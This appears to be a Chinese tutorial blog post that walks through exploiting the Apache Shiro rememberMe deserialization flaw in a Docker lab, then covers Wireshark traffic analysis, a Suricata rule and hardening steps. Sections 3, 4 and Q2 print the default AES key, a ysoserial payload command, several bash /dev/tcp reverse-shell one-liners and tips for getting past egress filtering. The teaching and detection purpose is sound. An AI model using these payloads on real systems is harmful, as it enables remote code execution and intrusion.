当前位置：首页 > news >正文

Apache Shiro反序列化漏洞实战：从流量分析到防御加固

news 2026/6/28 22:41:25

1. 项目概述：从一次内部攻防演练说起

去年参与公司内部的一次红蓝对抗演练，我作为蓝队成员，负责防守一个核心的Java Web应用。在流量监控中，我注意到一个奇怪的请求：一个访问/login页面的POST请求，其Cookie中携带了一个超长的rememberMe字段值，长度远超正常登录凭证。直觉告诉我，这不对劲。经过一番分析，确认这正是攻击者在利用Apache Shiro框架的反序列化漏洞进行攻击尝试。虽然最终因为我们的应用版本较新而攻击未遂，但这次经历让我深刻意识到，对于Java开发者，尤其是安全工程师和运维人员来说，仅仅知道Shiro是个安全框架是远远不够的。你必须能看懂它的流量，识别攻击特征，并亲手复现漏洞，才能真正理解其风险所在，从而构建有效的防御。

Shiro作为一个强大且易用的Java安全框架，被广泛应用于Web应用的认证、授权、会话管理和加密。然而，其默认配置下的一个特性——使用AES加密并序列化用户身份信息到Cookie的rememberMe功能——却因密钥硬编码问题，成为了安全领域的“经典案例”。攻击者利用已知或弱密钥，可以构造恶意的序列化数据，在服务端反序列化时执行任意代码，这就是臭名昭著的Shiro反序列化漏洞（如CVE-2016-4437）。本项目将带你深入这个“战场”，不仅复现漏洞，更关键的是，学会如何从网络流量这一视角，像侦探一样捕捉攻击的蛛丝马迹。无论你是想提升应用安全性的开发者，还是负责安全监控的运维，或是正在学习渗透测试的安全爱好者，这些实战经验都将让你对Shiro的安全机制有颠覆性的认识。

2. 核心原理深度拆解：Shiro的“阿喀琉斯之踵”

要理解Shiro漏洞的利用，必须先从其核心安全机制入手。很多人对Shiro的理解停留在“用它来做登录和权限控制”，这远远不够。我们需要深入到它的“记住我”（RememberMe）功能的实现细节。

2.1 Shiro RememberMe 的工作流程

当用户登录时，如果勾选了“记住我”，Shiro会执行以下操作：

序列化主体信息：将用户的身份信息（Principal）和凭证（Credentials）等序列化成字节数组。
AES加密：使用一个预定义的密钥（Cipher Key），通过AES算法（默认CBC模式）对这个字节数组进行加密。
Base64编码：将加密后的密文进行Base64编码，得到一个字符串。
写入Cookie：将这个字符串设置为名为rememberMe的Cookie值，发送给浏览器。

当用户再次访问网站时，浏览器会自动携带这个Cookie。Shiro的过滤器会：

读取Cookie：获取rememberMe的值。
Base64解码：将字符串解码回字节数组。
AES解密：使用同一个密钥尝试解密。
反序列化：如果解密成功，则将解密后的字节数组反序列化为Java对象，从而自动重建用户会话，实现“免登录”。

注意：这里的安全基石完全依赖于AES密钥的保密性。只要密钥不泄露，整个过程是安全的。

2.2 漏洞的根源：硬编码密钥与Java反序列化

漏洞的爆发点在于两个致命因素的结合：

第一，默认硬编码密钥。在Shiro 1.2.4及之前版本，其AES加密的默认密钥是硬编码在源代码中的：kPH+bIxk5D2deZiIxcaaaA==。这意味着，任何使用默认配置的Shiro应用，攻击者都知道了你的“保险箱密码”。虽然官方在后续版本中改为在启动时生成随机密钥，但很多开发者为了部署方便或配置错误，依然在代码或配置文件中手动指定了一个弱密钥，甚至直接使用了网上能找到的常见密钥。

第二，Java原生反序列化的危险性。Java的ObjectInputStream在反序列化时，会根据字节流中的类描述信息，自动调用该类的readObject()方法。如果反序列化的数据中包含恶意构造的、利用第三方库（如Commons-Collections）的Gadget链，就可以在反序列化过程中触发任意代码执行。

漏洞利用链的拼接：攻击者知道了密钥（或通过爆破猜出密钥），就可以：

构造一个恶意的Java对象（利用Commons-Collections等库的Gadget链），其readObject()方法被重写用于执行命令（如Runtime.getRuntime().exec(“calc”)）。
序列化这个恶意对象。
用Shiro的密钥（如默认密钥）加密这个序列化后的字节数组。
进行Base64编码。
将编码后的字符串作为rememberMe的Cookie值，发送给目标Shiro应用。

Shiro服务端收到后，会用密钥解密，解密成功后将数据交给Java进行反序列化，恶意代码随即被执行。

2.3 为什么流量分析至关重要？

在真实的网络防御中，你往往没有目标应用的源代码，也无法直接登录服务器查看日志。网络流量是你最直接、最广泛的攻击证据来源。攻击可能发生在任何时间，而流量镜像和记录是常态化的。通过分析Shiro漏洞利用流量，你可以：

实时检测攻击：在IDS/IPS或WAF中部署特征规则，实时阻断攻击。
事后溯源分析：在安全事件发生后，从海量流量包（PCAP）中快速定位攻击行为。
评估风险范围：通过扫描内部网络流量，发现哪些系统可能存在Shiro漏洞或正遭受攻击。

3. 漏洞环境搭建与工具准备

“纸上得来终觉浅，绝知此事要躬行。” 要真正理解，我们必须动手搭建靶场并进行攻击复现。

3.1 靶场环境搭建

对于初学者，我强烈推荐使用Vulhub或Vulfocus这类集成化的漏洞靶场环境。它们提供了预配置好的漏洞应用，一键启动，省去了繁琐的环境配置。

这里以Vulhub中的Shiro漏洞环境为例：

安装Docker：确保你的实验机器（可以是Kali Linux、Ubuntu或Mac）已安装Docker和Docker Compose。
拉取Vulhub：git clone https://github.com/vulhub/vulhub.git
进入Shiro漏洞目录：cd vulhub/shiro/CVE-2016-4437
启动环境：docker-compose up -d
访问http://your-ip:8080，你应该能看到一个简单的Shiro Web应用登录页面。

实操心得：使用Docker环境进行漏洞学习是最安全、最便捷的方式。它完美隔离了实验环境与宿主机，避免了对本地系统的污染和误操作风险。实验完成后，一句docker-compose down就能清理所有痕迹。

3.2 攻击工具选择与配置

工欲善其事，必先利其器。针对Shiro漏洞，社区已有非常成熟的利用工具。

1. Shiro攻击框架（如 shiro_attack）这是一个集密钥爆破、漏洞利用、回显检测于一体的强大工具。通常是一个Java Jar包。

使用方法：java -jar shiro_attack.jar http://target:8080
功能：它会自动尝试爆破常见密钥，并测试利用链。对于新手，这是最高效的“开箱即用”选择。

2. 定制化利用脚本（Python）对于想深入理解过程的安全研究人员，用Python编写利用脚本是更好的选择。你需要用到以下库：

pycryptodome：用于AES加密解密。
urllib3：用于发送HTTP请求。
一个生成CommonsCollections Gadget的工具，比如ysoserial（需Java环境）。

一个简化的手动利用思路如下：

用ysoserial生成恶意序列化数据：java -jar ysoserial.jar CommonsCollections5 “bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEuMTAwLzY2NjYgMD4mMQ==}|{base64,-d}|{bash,-i}” > payload.ser（该命令生成一个反弹Shell的Payload，Base64编码部分是你的监听地址和端口）
用已知的Shiro密钥（如默认密钥）加密这个payload.ser文件。
将加密结果进行Base64编码。
构造HTTP请求，将编码后的字符串放入Cookie: rememberMe=...中发送。

注意事项：使用ysoserial等工具时，务必在隔离的虚拟机或靶场中进行。生成的Payload极具攻击性，误操作可能导致严重后果。

4. 漏洞复现实战全记录

让我们跟随攻击者的视角，完整走一遍漏洞利用流程。这里我们假设靶场地址是192.168.1.100:8080，并使用自动化工具进行演示。

4.1 第一步：密钥检测与爆破

首先，我们需要确认目标Shiro应用使用了哪个密钥。使用shiro_attack工具：

java -jar shiro_attack-2.2.jar http://192.168.1.100:8080

工具启动后，它会自动加载内置的常见密钥字典进行爆破。如果目标使用了默认密钥或常见弱密钥，几秒钟内就能看到结果。

输出关键信息解读：

[+] [Info] 目标 http://192.168.1.100:8080 存在Shiro框架. [+] [Success] 爆破成功，当前Key: kPH+bIxk5D2deZiIxcaaaA== [+] [Info] 该密钥是默认密钥，漏洞风险极高！

这表明目标使用了Shiro的默认硬编码密钥，漏洞存在。

4.2 第二步：利用漏洞执行命令

获取密钥后，下一步就是利用漏洞执行命令。在工具中，我们可以选择利用链（如CommonsBeanutils1, CommonsCollections5等）并输入要执行的命令。

例如，我们想验证漏洞，执行一个简单的whoami命令：

在工具的利用界面，选择“CommonsCollections5”利用链（此链在Java 8环境下通用性较好）。
在命令输入框填入：whoami。
点击“攻击”。

如果成功，工具会显示命令执行的回显，例如：

[+] [Success] 命令执行成功！ 回显：root

这证明我们成功利用了反序列化漏洞，在服务端以Web容器进程的权限（这里是root）执行了系统命令。

4.3 第三步：获取交互式Shell（反弹Shell）

执行单条命令还不够，我们需要一个交互式的Shell来方便地进行后续操作。这就需要用到“反弹Shell”技术。

原理：让目标服务器主动连接我们控制的一台监听服务器，并将其命令行输入输出的数据流重定向到这个网络连接上。

在攻击工具中，我们通常需要生成一个编码后的反弹Shell命令。以使用bash反弹到攻击机192.168.1.10的4444端口为例：

在攻击机Kali上开启监听：nc -lvnp 4444
构造反弹Shell命令：bash -i >& /dev/tcp/192.168.1.10/4444 0>&1
由于命令中有特殊字符，需要编码。通常先进行Base64编码：echo “bash -i >& /dev/tcp/192.168.1.10/4444 0>&1” | base64得到：YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEuMTAvNDQ0NCAwPiYx
在攻击工具中执行的最终命令：bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEuMTAvNDQ0NCAwPiYx}|{base64,-d}|{bash,-i}

将此命令填入工具并执行，如果成功，你会在Kali的nc监听窗口看到来自目标服务器的Shell提示符。

踩坑记录：反弹Shell失败是复现中最常见的问题。原因可能包括：1) 目标服务器没有bash（可尝试/bin/sh）；2) 目标服务器出网被防火墙限制；3) 编码或命令格式错误。建议先用ping或curl命令测试目标出网情况，并尝试多种Payload格式。

5. 流量特征深度分析与捕获

现在，我们从防守方（蓝队）的视角，分析刚才攻击产生的网络流量，提炼出可用于检测的特征。我们将使用Wireshark这款网络封包分析软件。

5.1 捕获攻击流量

在发起攻击的机器上，或者在网络路径上（如网关），开启Wireshark捕获。过滤条件可以设为http and ip.addr == 192.168.1.100。然后重复一次攻击操作。

5.2 关键特征逐一解析

找到发送到目标8080端口的HTTP POST请求（通常是登录请求/login或直接访问根路径/），重点查看其HTTP头部。

特征一：Cookie中的“rememberMe”字段异常这是最直接的特征。正常的rememberMeCookie值是一个经过加密和编码的、长度相对固定的字符串。而攻击Payload的rememberMe值会显著更长，因为它包含了完整的序列化Gadget链。

正常值示例：rememberMe=deleteMe（登出时）或一串几十到上百字符的Base64字符串。
攻击值示例：rememberMe=rO0ABXNy...（此处省略上千个字符）...=。长度可能达到几千字节。

在Wireshark中，你可以直接在Packet Details面板展开Hypertext Transfer Protocol->Cookie字段查看。

特征二：Payload的编码模式Shiro使用AES-CBC模式加密，然后进行Base64编码。标准的Base64编码字符集是[A-Za-z0-9+/=]。观察攻击Payload，它通常是一长串由这些字符组成的字符串，并以一个或多个等号=结尾（Base64填充字符）。虽然正常Cookie也可能如此，但结合超长长度，嫌疑度大增。

特征三：请求上下文与频率

无登录行为的RememberMe请求：一个从未成功登录过的新会话，其第一个请求就携带了超长的rememberMeCookie，这极其可疑。
爆破密钥的流量特征：攻击者如果进行密钥爆破，会在短时间内向同一URL发送大量相似的HTTP请求，唯一的区别是rememberMeCookie的值（尝试不同密钥解密）。这会产生高频率、高相似度的请求流量，容易被基于频率或相似度的异常检测规则发现。

5.3 构建检测规则（以Suricata IDS为例）

基于以上分析，我们可以为入侵检测系统编写规则。以Suricata为例：

alert http any any -> any any (msg:"ET WEB_SPECIFIC_APPS Possible Apache Shiro Deserialization Exploit (rememberMe)"; flow:established,to_server; http.cookie; content:"rememberMe="; depth:11; pcre:"/rememberMe=[A-Za-z0-9+\/]{500,}/"; classtype:web-application-attack; sid:2024001; rev:1;)

规则解读：

msg：告警信息。
flow:established,to_server：匹配已建立连接中发往服务器的流量。
http.cookie：在HTTP Cookie头部中匹配。
content:"rememberMe="; depth:11;：匹配Cookie字段以rememberMe=开头。
pcre:"/rememberMe=[A-Za-z0-9+\/]{500,}/"：使用正则表达式匹配rememberMe=后的值由Base64字符组成，且长度至少500个字符。这个长度阈值可以根据实际情况调整。
classtype,sid,rev：分类和规则ID。

这条规则能有效抓取利用长Cookie进行攻击的流量。对于密钥爆破，则需要结合频率阈值规则。

6. 防御加固与最佳实践

复现漏洞和分析流量最终是为了更好地防御。作为开发或运维人员，你必须知道如何保护你的Shiro应用。

6.1 开发层面：升级与安全配置

立即升级Shiro版本：将Apache Shiro升级到最新稳定版（1.13.0+）。新版本不仅修复了已知漏洞，还改进了安全机制。
使用强随机密钥：绝对不要使用默认密钥或任何公开的密钥。应在应用启动时生成一个强随机密钥，并妥善保存。在Spring Boot中，可以这样配置：
```
# application.properties shiro.sessionManager.sessionIdCookieEnabled=false # 考虑禁用Cookie会话 # 自定义RememberMe管理器，注入强密钥
```
更安全的做法是将密钥存储在环境变量或配置中心，而非代码中。
禁用RememberMe功能：如果业务不需要“记住我”功能，最简单彻底的方法就是禁用它。在Shiro配置中，不配置RememberMeManager即可。
全局反序列化过滤器：在Java应用层面，使用反序列化过滤器（如ObjectInputFilter）来限制允许反序列化的类。这是从JDK层面筑起的一道防线。

6.2 运维与安全层面：纵深防御

WAF/IDS规则部署：将我们第5.3节分析的流量特征，转化为WAF（如ModSecurity）或IDS（如Suricata, Snort）的防护规则，在网络边界进行实时拦截。
RASP应用：在应用内部部署RASP（运行时应用自我保护）探针。RASP能深入到应用运行时，直接监控Java反序列化等危险行为的调用栈，精准识别并阻断攻击，即使攻击流量本身已加密或变形。
最小权限原则：运行Java应用的服务账户，应遵循最小权限原则。避免使用root或高权限账户运行Tomcat、Spring Boot等Web容器。这样即使被攻破，攻击者获得的权限也有限。
定期依赖扫描：使用OWASP Dependency-Check、Snyk等工具，持续扫描项目依赖，及时发现并修复包含Shiro漏洞的组件版本。

6.3 监控与响应

日志审计：确保应用和Web容器的访问日志、错误日志被完整收集。重点关注日志中出现的Java反序列化错误、InvalidRememberMeToken等异常信息，这些可能是攻击尝试失败的痕迹。
建立应急响应流程：一旦监控告警被触发，应有明确的流程进行排查、隔离、取证和修复。例如，收到Shiro攻击告警后，立即检查该服务器的网络连接、进程信息，并回溯攻击时间点的相关日志。

7. 常见问题与排查实录

在复现和分析过程中，你肯定会遇到各种问题。这里记录一些典型问题和解决思路。

Q1：工具爆破不出密钥，但目标确定是Shiro框架，怎么办？A1：首先，确认目标URL是否正确，网络是否通畅。其次，目标可能使用了不在工具字典中的自定义密钥。你可以尝试：

扩大字典：收集互联网上更全的Shiro密钥字典进行爆破。
检查配置：有些应用可能会将密钥放在非标准位置或进行编码，需要结合信息收集（如源码泄露、配置文件泄露）来获取。
流量分析：如果目标网站本身有合法的“记住我”功能，可以尝试注册账号并勾选记住我，然后捕获自己登录成功后的rememberMeCookie。如果能用已知Payload加密方式（AES-CBC，PKCS5Padding）解密这个Cookie，就能反推出密钥（需要IV）。

Q2：命令执行成功，但无回显，或反弹Shell失败？A2：这是最令人头疼的情况。

无回显：尝试使用DNSLog、HTTPLog等带外通道（OOB）技术来验证命令执行。例如，执行curl http://your-dnslog-domain/，看DNSLog平台是否有记录。
反弹Shell失败：
- 检查命令语法：不同Linux发行版的Shell（bash, sh, dash）语法有细微差别。尝试使用更通用的命令：sh -i >& /dev/tcp/192.168.1.10/4444 0>&1。
- 检查网络连通性：在目标服务器上尝试执行nc -zv 192.168.1.10 4444或ping 192.168.1.10，看是否能连接到你的监听主机。可能目标服务器有出站防火墙限制。
- 尝试其他端口：常见端口（如443, 53, 80）可能被放行，而高端口被阻。
- 使用编码Payload：如之前所述，使用Base64编码可避免特殊字符问题。

Q3：Wireshark抓不到本地回环地址（127.0.0.1）的流量？A3：在Linux上，可以使用sudo tcpdump -i lo -w shiro.pcap捕获lo网卡流量，然后用Wireshark打开shiro.pcap文件分析。在Windows上，Wireshark的Npcap驱动默认支持环回适配器流量捕获。

Q4：升级Shiro后，如何验证漏洞是否修复？A4：最直接的方法是使用之前的攻击工具或脚本再次测试。如果攻击失败，且应用日志显示正常的“InvalidRememberMeToken”或反序列化错误（而非远程代码执行），则说明漏洞已修复。更严谨的做法是进行代码审计或使用专业的SCA（软件成分分析）工具确认依赖版本。

整个从攻击到防御的闭环实践下来，我最大的体会是：安全是一个动态对抗的过程。攻击技术在演进，防御手段也必须迭代。对于Shiro反序列化这类经典漏洞，知其然（会利用工具）只是入门，知其所以然（理解序列化、加密、流量特征）才能举一反三。而最终的落脚点，一定是将这种理解转化为实际可落地的防护策略和监控手段，真正为你的系统保驾护航。在平时开发中，养成依赖管理、安全配置、最小权限的好习惯，远比事后应急补救要有效得多。

查看全文

http://www.gsyq.cn/news/1597925.html